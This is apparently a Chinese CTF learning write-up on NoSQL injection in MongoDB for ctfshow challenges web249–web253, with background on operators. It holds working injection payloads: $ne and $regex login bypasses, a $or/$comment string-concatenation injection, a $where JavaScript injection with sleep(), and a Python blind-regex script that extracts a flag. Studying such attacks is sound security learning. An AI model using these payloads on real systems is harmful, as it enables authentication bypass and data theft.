# 前言
一直听说 nosql 好,刚好 ctfshow 中有 nosql 注入的练习,简单记录一下学习的过程
参考文章
MongoDB 教程 | 菜鸟教程 (runoob.com)
Nosql 注入从零到一 - 先知社区 (aliyun.com)
从零学习 NoSQL 注入之 Mongodb - 腾讯云开发者社区 - 腾讯云 (tencent.com)
# 一点概念
# nosql
基础的概念还是比较重要的,接下来看看维基对 nosql 的描述
NoSQL(最初表示 Non-SQL,后来有人转解为 Not only SQL,是对不同于传统的 [关系数据库] 庫) 的 [数据库管理系统] 数据库管理系统) 的统称。
和传统的数据库有较大的区别
- 数据组织方式:传统数据库采用表格的方式组织数据,而 NoSQL 数据库则使用键值对、文档型、列型等不同的方式来组织数据。
- 数据模型:传统数据库使用严格的数据模型,例如关系模型,要求数据必须按照事先定义好的模式进行存储。而 NoSQL 数据库则通常具有更为灵活的数据模型,能够根据需要动态调整数据结构,更适用于数据结构频繁变化的应用场景。
- 可扩展性:传统数据库通常只能通过硬件升级或者数据分片的方式来扩展性能和存储容量,而 NoSQL 数据库通常具有良好的可扩展性,可以通过横向扩展(增加节点)来扩展存储容量和性能。
- 高并发:NoSQL 数据库通常具有较高的读写性能,能够满足高并发的需求。
- 适用场景:传统数据库适用于结构化数据的存储和管理,而 NoSQL 数据库则更适用于非结构化数据的存储和管理,例如文档、图像、视频等。
下文来自 OWSPF 的总结:
NoSQL 数据库提供的一致性限制比传统 SQL 数据库更宽松。通过减少关系约束和一致性检查,NoSQL 数据库通常提供性能和扩展优势。然而,这些数据库仍然可能容易受到注入攻击,即使它们没有使用传统的 SQL 语法。由于这些 NoSQL 注入攻击可能在过程语言中执行,而不是在声明性 SQL 语言中执行,因此其潜在影响大于传统的 SQL 注入。
# mongodb
以下摘自菜鸟
MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
下表将帮助您更容易理解 Mongo 中的一些概念:
SQL 术语 / 概念 | MongoDB 术语 / 概念 | 解释 / 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表 / 集合 |
row | document | 数据记录行 / 文档 |
column | field | 数据字段 / 域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将_id 字段设置为主键 |
下面是条件操纵符的整理
$gt : > | |
$lt : < | |
$gte: >= | |
$lte: <= | |
$ne : !=、<> | |
$in : in | |
$nin: not in | |
$all: all | |
$or:or | |
$not: 反匹配(1.3.3及以上版本) | |
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} }) | |
/** | |
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}} | |
* : $ne { "age" : { "$ne" : 23}} | |
* : $lt { "age" : { "$lt" : 23}} | |
*/ | |
例: | |
//查询age = 22的记录 | |
db.userInfo.find({"age": 22}); | |
//相当于:select * from userInfo where age = 22; | |
//查询age > 22的记录 | |
db.userInfo.find({age: {$gt: 22}}); | |
//相当于:select * from userInfo where age > 22; |
MongoDB 之类的流行数据存储中,JSON 查询结构。
下表列出了 RDBMS 与 MongoDB 对应的术语:
RDBMS | MongoDB |
---|---|
数据库 | 数据库 |
表 | 集合 |
行 | 文档 |
列 | 字段 |
表联合 | 嵌入文档 |
主键 | 主键 (MongoDB 提供了 key 为 _id) |
MongoDB 中可以使用的类型如下表所示:
类型 | 数字 | 备注 |
---|---|---|
Double | 1 | |
String | 2 | |
Object | 3 | |
Array | 4 | |
Binary data | 5 | |
Undefined | 6 | 已废弃。 |
Object id | 7 | |
Boolean | 8 | |
Date | 9 | |
Null | 10 | |
Regular Expression | 11 | |
JavaScript | 13 | |
Symbol | 14 | |
JavaScript (with scope) | 15 | |
32-bit integer | 16 | |
Timestamp | 17 | |
64-bit integer | 18 | |
Min key | 255 | Query with -1 . |
Max key | 127 |
有关 mongodb 更多语法还请移步菜鸟教程
# nosql 注入分类
这里我在各个博客中找到了两种对 nosql 注入的分类
第一种,按照攻击手法分类
重言式
- 也称为 “永真式”,这类攻击是在条件语句中注入代码使得生成的结果为永真,绕过判断机制
联合查询
一样和传统数据库常用的 sql 注入的方法
javaScript 注入
- 这种漏洞是由于允许执行数据内容的 Nosql 数据库引入的,构造攻击语句通过 js 输入到查询中,从而导致数据被非法获取或者篡改
盲注
- 没有回显时使用的一种注入方式
背负式查询
- 通过转义字符插入数据库进行额外的查询,进而执行任意代码
跨域违规
- 这里产生漏洞的是 HTTP REST APls(一个实现对数据库进行访问和管理的接口协议)它甚至可以让攻击者从其他域攻击数据库。在跨域工具中,攻击者利用合法用户和他们的网页浏览器执行有害操作
第二种,按照语言的分类
- php 数组注入
- js 注入
- monggoshell 拼接注入
这里主要记录第一种分类的学习
# 重言式
# web249
这里提示了 flag 在 flag 里,id 这里对输入进行了校验
y4 师傅说这题后端对 id 过滤了非数字,可能用的 intval 函数。这里使用数组绕过即可
这个感觉不算是考察 nosql??
# web250
这个题利用 nosql 的一个小特性即可
这里有提示说没有任何过滤,利用 $ne 就可以了
在上面有提到过这个 $ne 在 nosql 中就是不等于,这里传入的 username 和 password 就是传入的数据,他判断用户名和密码是否正确,这里通过使用 $ne 构造永真绕过判断,类似 sql 注入里的 or 1=1, 这就是上面提到的重言式注入
# web251
这里发现好像没改什么,也提示说无过滤,还是先用上面的 payload 尝试
也利用成功了,但是这里是给了账号密码,尝试登录也没什么新的东西,想到这里可能是只查询一条数据,这里使得 username 为 flag 可以找到 flag
看到师傅们还可以使用正则
username[$regex]=.*&password[$regex]=.*
# web252
这一题有点变化,但是没啥影响,这个 pretty () 方法的作用是使得查询出来的数据在命令行中更加美观的显示,不至于太紧凑。
用前面的永真测试
和上面一样,第一条没有 flag 尝试直接读 flag
也是失败的,尝试跳过 admin,但是还有 admin1
这里要用到前面的正则
username[$regex]=^[^a].*$&password[$ne]=1
# 联合查询
前面有提到,mongodb 使用的是 json 的查询结构,json 对字符串的拼接也有着类似传统 sql 注入的地方
例:
string query ="{ username: '" + $username + "', password: '" + $password + "' }" |
当用户输入用户名和密码后,这里如果对用户输入的校验不足
{'username':'admin', 'password':'123456'} |
就可以构造 payload:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456 |
拼接后相当于是执行了
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'} |
这个就类似
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = '')) |
# js 注入
攻击者通过构造恶意的查询语句,利用 NoSQL 数据库的查询语句中可执行 JavaScript 代码的特性,来获取敏感信息或实现远程执行等攻击
在 NoSQL 数据库中,由于查询语句中允许执行 JavaScript 代码,因此攻击者可以在查询语句中注入恶意的 JavaScript 代码,从而获取敏感信息。例如,攻击者可以通过构造恶意的查询语句来绕过登录验证,获取管理员权限。同时,攻击者还可以利用查询语句中执行 JavaScript 代码的特性来实现远程执行攻击,例如在服务器上执行任意的系统命令,导致服务器被入侵控制等。
# $where 操作符
$where 操作符是 MongoDB 中的一种查询语句,可以用于执行自定义的 JavaScript 表达式,并返回符合条件的文档。
在 MongoDB 中,可以使用 $where 操作符在集合中进行查询,示例代码如下:
db.collection.find( { $where: function() { return this.field1 == this.field2; } } ) |
在这个例子中,$where 操作符的参数是一个 JavaScript 函数,函数体内使用了 MongoDB 的 JavaScript Shell 中的 this 变量,指代了当前文档对象。函数体中的表达式用于检查文档中的某些字段是否相等,如果相等,则返回该文档。
需要注意的是,使用 $where 操作符需要在查询中执行 JavaScript 代码,因此性能可能会较差,不建议在大数据量的环境中使用。此外,由于 JavaScript 语言的灵活性,$where 查询可能存在安全风险,攻击者可以通过构造恶意代码实现注入攻击,因此需要谨慎使用。
通常情况下,应该优先选择 MongoDB 提供的其他查询语句,比如 $eq、$ne、$in 等操作符,这些操作符可以更高效地执行查询,并且不会引入安全风险。只有在特定的场景下,才需要使用 $where 操作符进行高度定制化的查询。
如下实例:
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" }) | |
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" } |
由于使用了 $where
关键字,其后面的 JavaScript 将会被执行并返回 "whoami",然后将查询出 username 为 whoami 的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData
获取查询条件:
db.users.find({ $where: "function(){return(this.username == $userData)}" }) |
然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000)
,此时 MongoDB 执行的查询语句为:
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" }) |
如果此时服务器有 5 秒钟的延迟则说明注入成功。
以下是一个简单的示例,假设一个应用使用 MongoDB 作为数据库,有一个用户登录的验证过程:
var username = req.body.username; | |
var password = req.body.password; | |
var query = { username: username, password: password }; | |
db.users.find(query, function (err, result) { | |
if (err) throw err; | |
if (result.length > 0) { | |
res.send('Login success'); | |
} else { | |
res.send('Login failed'); | |
} | |
}); |
在这个过程中,黑客可以通过构造特定的 JavaScript 代码来注入恶意脚本,例如将 password 参数设置为以下内容:
{ $ne: '1' } |
这个语句会使得 MongoDB 查询语句的结果永远为真,从而可以成功绕过登录验证。
# 盲注
# web253
还是没啥改变,继续用前面的测试
这里测试发现登录成功,但是没有回显了,那肯定就是盲注咯
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# author: Clown | |
# datetime: 2023/3/1 16:49 | |
# ide: PyCharm | |
import requests | |
url = "http://65083bf6-7c9c-4c55-ba15-aa555b4df664.challenge.ctf.show/api/" | |
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} | |
headers = { | |
"Content-Type":"application/x-www-form-urlencoded" | |
} | |
flag="" | |
for i in range(100): | |
for ch in "{-abcdefghijklmnopqrstuvwxyz0123456789}": | |
payload = "^{}.*$".format(flag+ch) | |
data = "username[$regex]=flag&password[$regex]="+payload | |
#print(data) | |
r = requests.post(url=url,data=data,proxies=proxies,headers=headers) | |
#print(r.text) | |
if r"\u767b\u9646\u6210\u529f" in r.text: | |
flag=flag+ch | |
print(flag) | |
if ch=="}": | |
exit() | |
break |